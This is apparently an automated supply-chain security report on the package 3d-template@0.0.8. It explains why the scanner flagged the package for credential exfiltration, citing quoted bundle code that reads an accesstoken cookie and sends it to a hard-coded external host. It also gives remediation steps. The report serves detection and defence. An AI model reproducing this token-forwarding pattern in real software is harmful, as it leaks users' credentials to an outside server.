registry / Credential exfiltration / 3d-template
3d-template
> TODO: description
This report shows the evidence for 3d-template@0.0.8. 1 of 4 known versions is blocked or flagged. The newest version, 0.0.9, is allowed. See all versions.
AI Security Review
scanned 2mo ago · by lpm-firewall-aiThe hard-coded default external API host and automatic forwarding of a consumer access token form a concrete runtime credential-exfiltration path. The absence of lifecycle hooks limits the attack to runtime use but does not neutralize it.
Static reason
High-risk behavior combination matched malicious policy.
Trigger
A consumer renders the exported browser component and uses a role-management route on a host other than the two recognised Onewo hosts.
Impact
An access token from the consumer application's cookie jar can be disclosed to the external test API and used with role-management requests.
Mechanism
Hard-coded cross-origin API selection with automatic access-token header forwarding.
Attack narrative
The bundle is a browser application rather than a generic template. On an unrecognised host it configures its API client for 3d-test.onewo.com, reads the accesstoken cookie, and attaches it to every client request. When the exported component is rendered and its administrator or role-management routes are used, it sends authenticated requests to that external service. This creates a concrete credential-disclosure path for consumers outside the intended Onewo deployment.
AI rationale
The hard-coded default external API host and automatic forwarding of a consumer access token form a concrete runtime credential-exfiltration path. The absence of lifecycle hooks limits the attack to runtime use but does not neutralize it.
Evidence
dist/index.umd.js
Network endpoints4
3d-test.onewo.com3d-login-test.onewo.com3d-login-fat.onewo.com3d-login.onewo.com
Decision evidence
public snapshotAI called this Malicious at 91.0% confidence as Malware with low false-positive risk.
Evidence for block
- The browser bundle selects a hard-coded Onewo test API host for every host other than two named production environments.
- Each request reads the accesstoken cookie and copies it into Authorization and Access-Token headers.
- The bundle sends authenticated POST requests to role-management endpoints when its administrator or role routes are used.
- The published manifest contains no lifecycle hook; the behavior is runtime browser code.
Evidence against
- No install, preinstall, postinstall, or prepare script is declared.
- No filesystem, shell, dynamic-code, or native-loading behavior was found.
Behavioral surface
Network
HighEntropyStringsMinifiedUrlStrings
Source & flagged code
4 flagged · loading sourcedist/index.umd.jsView file
•Browser cookie sent to a fixed external endpoint in dist/index.umd.js:
/*! regenerator-runtime -- Copyright (c) 2014-present, Facebook, Inc. -- license (MIT): https://github.[redacted]-helpers/LICENSE */
var DEV_SERVER_URL = "http://3d-test.onewo.com";
REDIRECTURL: "http://3d-login-test.onewo.com" // 登录过期重定向路径
REDIRECTURL: "http://3d-login-fat.onewo.com"
REDIRECTURL: "https://3d-login.onewo.com"
if (arr = document.cookie.match(reg)) return arr[2];else return null;
Critical
Hardcoded Runtime Data Exfiltration
Source sends credentials or rich application records to a package-controlled external receiver enabled by default.
dist/index.umd.jsView on unpkg303var protocol = window.location.protocol;
var host = window.location.host;
var serverURL = "".concat(protocol, "//").concat(host);
var DEV_SERVER_URL = "http://3d-test.onewo.com";
var envConstant = [{
BASEURL: "".concat(DEV_SERVER_URL, "/api"),
// 基础接口路径
REDIRECTURL: "http://3d-login-test.onewo.com" // 登录过期重定向路径
}, {
BASEURL: "".concat(serverURL, "/api"),
REDIRECTURL: "http://3d-login-fat.onewo.com"
}, {
BASEURL: "".concat(serverURL, "/api"),
REDIRECTURL: "https://3d-login.onewo.com"
}];
High
Ai Review Evidence
The browser bundle selects a hard-coded Onewo test API host for every host other than two named production environments.
dist/index.umd.jsView on unpkg · L303Findings
1 Critical2 High3 Medium2 Low
CriticalHardcoded Runtime Data Exfiltrationdist/index.umd.js
HighAi Review Evidencedist/index.umd.js
HighAi Review Evidencedist/index.umd.js
MediumNetwork
MediumStructural Risk Force Deep Review
MediumStripped Provenance Metadatadist/index.umd.js
LowHigh Entropy Strings
LowUrl Strings
Affected versions and remediation
This report applies to 3d-template@0.0.8.
The versions list below shows the verdict for each recorded version.
- Avoid installing 3d-template@0.0.8. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
Evidence last updated: .
Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.